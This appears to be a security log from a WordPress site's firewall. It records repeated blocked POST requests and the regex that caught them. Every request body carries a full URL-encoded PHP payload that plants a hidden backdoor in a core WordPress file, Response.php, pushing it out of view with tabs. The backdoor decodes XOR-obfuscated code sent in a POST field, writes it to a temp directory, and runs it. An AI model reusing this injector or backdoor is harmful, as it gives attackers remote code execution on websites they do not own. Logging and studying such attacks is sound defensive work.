wL:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Response.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521is_null%2528%2524_POST%255B%2522da%255Cx74%255Cx61_c%255Cx68u%255Cx6Ek%2522%255D%2520%253F%253F%2520null%2529%2529%257B%2520%2524bind%2520%253D%2520hex2bin%2528%2524_POST%255B%2522da%255Cx74%255Cx61_c%255Cx68u%255Cx6Ek%2522%255D%2529%253B%2520%2524itm%2520%253D%2520%2527%2527%253B%2520for%2528%2524s%253D0%253B%2520%2524s%253Cstrlen%2528%2524bind%2529%253B%2520%2524s%252B%252B%2529%257B%2524itm%2520.%253D%2520chr%2528ord%2528%2524bind%255B%2524s%255D%2529%2520%255E%252072%2529%253B%257D%2520%2524marker%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%255D%2529%253B%2520while%2520%2528%2524item%2520%253D%2520array_shift%2528%2524marker%2529%2529%2520%257B%2520if%2520%2528is_writable%2528%2524item%2529%2520%2526%2526%2520is_dir%2528%2524item%2529%2529%2520%257B%2520%2524pgrp%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524item%252C%2520%2522.record%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524pgrp%252C%2520%2524itm%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524pgrp%253B%2520%2540unlink%2528%2524pgrp%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:3849\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\nsec-fetch-user:?1\nupgrade-insecure-requests:1\nsec-fetch-dest:document\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvq0jvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWdqKA0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\naccept-encoding:gzip,deflate\nsec-fetch-site:none\n\nwL=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Response.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521is_null%2528%2524_POST%255B%2522da%255Cx74%255Cx61_c%255Cx68u%255Cx6Ek%2522%255D%2520%253F%253F%2520null%2529%2529%257B%2520%2524bind%2520%253D%2520hex2bin%2528%2524_POST%255B%2522da%255Cx74%255Cx61_c%255Cx68u%255Cx6Ek%2522%255D%2529%253B%2520%2524itm%2520%253D%2520%2527%2527%253B%2520for%2528%2524s%253D0%253B%2520%2524s%253Cstrlen%2528%2524bind%2529%253B%2520%2524s%252B%252B%2529%257B%2524itm%2520.%253D%2520chr%2528ord%2528%2524bind%255B%2524s%255D%2529%2520%255E%252072%2529%253B%257D%2520%2524marker%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%255D%2529%253B%2520while%2520%2528%2524item%2520%253D%2520array_shift%2528%2524marker%2529%2529%2520%257B%2520if%2520%2528is_writable%2528%2524item%2529%2520%2526%2526%2520is_dir%2528%2524item%2529%2529%2520%257B%2520%2524pgrp%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524item%252C%2520%2522.record%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524pgrp%252C%2520%2524itm%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524pgrp%253B%2520%2540unlink%2528%2524pgrp%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 11:56:31","95.216.28.151","POST","\/","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Jp:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Response.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521is_null%2528%2524_POST%255B%2522da%255Cx74%255Cx61_c%255Cx68u%255Cx6Ek%2522%255D%2520%253F%253F%2520null%2529%2529%257B%2520%2524bind%2520%253D%2520hex2bin%2528%2524_POST%255B%2522da%255Cx74%255Cx61_c%255Cx68u%255Cx6Ek%2522%255D%2529%253B%2520%2524itm%2520%253D%2520%2527%2527%253B%2520for%2528%2524s%253D0%253B%2520%2524s%253Cstrlen%2528%2524bind%2529%253B%2520%2524s%252B%252B%2529%257B%2524itm%2520.%253D%2520chr%2528ord%2528%2524bind%255B%2524s%255D%2529%2520%255E%252072%2529%253B%257D%2520%2524marker%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%255D%2529%253B%2520while%2520%2528%2524item%2520%253D%2520array_shift%2528%2524marker%2529%2529%2520%257B%2520if%2520%2528is_writable%2528%2524item%2529%2520%2526%2526%2520is_dir%2528%2524item%2529%2529%2520%257B%2520%2524pgrp%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524item%252C%2520%2522.record%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524pgrp%252C%2520%2524itm%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524pgrp%253B%2520%2540unlink%2528%2524pgrp%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3849\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFaNvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2gyMPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\n\nJp=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Response.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521is_null%2528%2524_POST%255B%2522da%255Cx74%255Cx61_c%255Cx68u%255Cx6Ek%2522%255D%2520%253F%253F%2520null%2529%2529%257B%2520%2524bind%2520%253D%2520hex2bin%2528%2524_POST%255B%2522da%255Cx74%255Cx61_c%255Cx68u%255Cx6Ek%2522%255D%2529%253B%2520%2524itm%2520%253D%2520%2527%2527%253B%2520for%2528%2524s%253D0%253B%2520%2524s%253Cstrlen%2528%2524bind%2529%253B%2520%2524s%252B%252B%2529%257B%2524itm%2520.%253D%2520chr%2528ord%2528%2524bind%255B%2524s%255D%2529%2520%255E%252072%2529%253B%257D%2520%2524marker%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%255D%2529%253B%2520while%2520%2528%2524item%2520%253D%2520array_shift%2528%2524marker%2529%2529%2520%257B%2520if%2520%2528is_writable%2528%2524item%2529%2520%2526%2526%2520is_dir%2528%2524item%2529%2529%2520%257B%2520%2524pgrp%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524item%252C%2520%2522.record%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524pgrp%252C%2520%2524itm%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524pgrp%253B%2520%2540unlink%2528%2524pgrp%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 11:56:36","192.185.131.136","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> uT:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Response.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521is_null%2528%2524_POST%255B%2522da%255Cx74%255Cx61_c%255Cx68u%255Cx6Ek%2522%255D%2520%253F%253F%2520null%2529%2529%257B%2520%2524bind%2520%253D%2520hex2bin%2528%2524_POST%255B%2522da%255Cx74%255Cx61_c%255Cx68u%255Cx6Ek%2522%255D%2529%253B%2520%2524itm%2520%253D%2520%2527%2527%253B%2520for%2528%2524s%253D0%253B%2520%2524s%253Cstrlen%2528%2524bind%2529%253B%2520%2524s%252B%252B%2529%257B%2524itm%2520.%253D%2520chr%2528ord%2528%2524bind%255B%2524s%255D%2529%2520%255E%252072%2529%253B%257D%2520%2524marker%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%255D%2529%253B%2520while%2520%2528%2524item%2520%253D%2520array_shift%2528%2524marker%2529%2529%2520%257B%2520if%2520%2528is_writable%2528%2524item%2529%2520%2526%2526%2520is_dir%2528%2524item%2529%2529%2520%257B%2520%2524pgrp%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524item%252C%2520%2522.record%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524pgrp%252C%2520%2524itm%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524pgrp%253B%2520%2540unlink%2528%2524pgrp%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\ncontent-length:3849\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\nsec-fetch-user:?1\nupgrade-insecure-requests:1\nsec-fetch-dest:document\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqIDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\naccept-encoding:gzip,deflate\nsec-fetch-site:none\n\nuT=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Response.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521is_null%2528%2524_POST%255B%2522da%255Cx74%255Cx61_c%255Cx68u%255Cx6Ek%2522%255D%2520%253F%253F%2520null%2529%2529%257B%2520%2524bind%2520%253D%2520hex2bin%2528%2524_POST%255B%2522da%255Cx74%255Cx61_c%255Cx68u%255Cx6Ek%2522%255D%2529%253B%2520%2524itm%2520%253D%2520%2527%2527%253B%2520for%2528%2524s%253D0%253B%2520%2524s%253Cstrlen%2528%2524bind%2529%253B%2520%2524s%252B%252B%2529%257B%2524itm%2520.%253D%2520chr%2528ord%2528%2524bind%255B%2524s%255D%2529%2520%255E%252072%2529%253B%257D%2520%2524marker%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%255D%2529%253B%2520while%2520%2528%2524item%2520%253D%2520array_shift%2528%2524marker%2529%2529%2520%257B%2520if%2520%2528is_writable%2528%2524item%2529%2520%2526%2526%2520is_dir%2528%2524item%2529%2529%2520%257B%2520%2524pgrp%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524item%252C%2520%2522.record%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524pgrp%252C%2520%2524itm%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524pgrp%253B%2520%2540unlink%2528%2524pgrp%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 11:56:40","94.46.170.157","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Response.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521is_null%2528%2524_POST%255B%2522da%255Cx74%255Cx61_c%255Cx68u%255Cx6Ek%2522%255D%2520%253F%253F%2520null%2529%2529%257B%2520%2524bind%2520%253D%2520hex2bin%2528%2524_POST%255B%2522da%255Cx74%255Cx61_c%255Cx68u%255Cx6Ek%2522%255D%2529%253B%2520%2524itm%2520%253D%2520%2527%2527%253B%2520for%2528%2524s%253D0%253B%2520%2524s%253Cstrlen%2528%2524bind%2529%253B%2520%2524s%252B%252B%2529%257B%2524itm%2520.%253D%2520chr%2528ord%2528%2524bind%255B%2524s%255D%2529%2520%255E%252072%2529%253B%257D%2520%2524marker%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%255D%2529%253B%2520while%2520%2528%2524item%2520%253D%2520array_shift%2528%2524marker%2529%2529%2520%257B%2520if%2520%2528is_writable%2528%2524item%2529%2520%2526%2526%2520is_dir%2528%2524item%2529%2529%2520%257B%2520%2524pgrp%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524item%252C%2520%2522.record%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524pgrp%252C%2520%2524itm%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524pgrp%253B%2520%2540unlink%2528%2524pgrp%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST 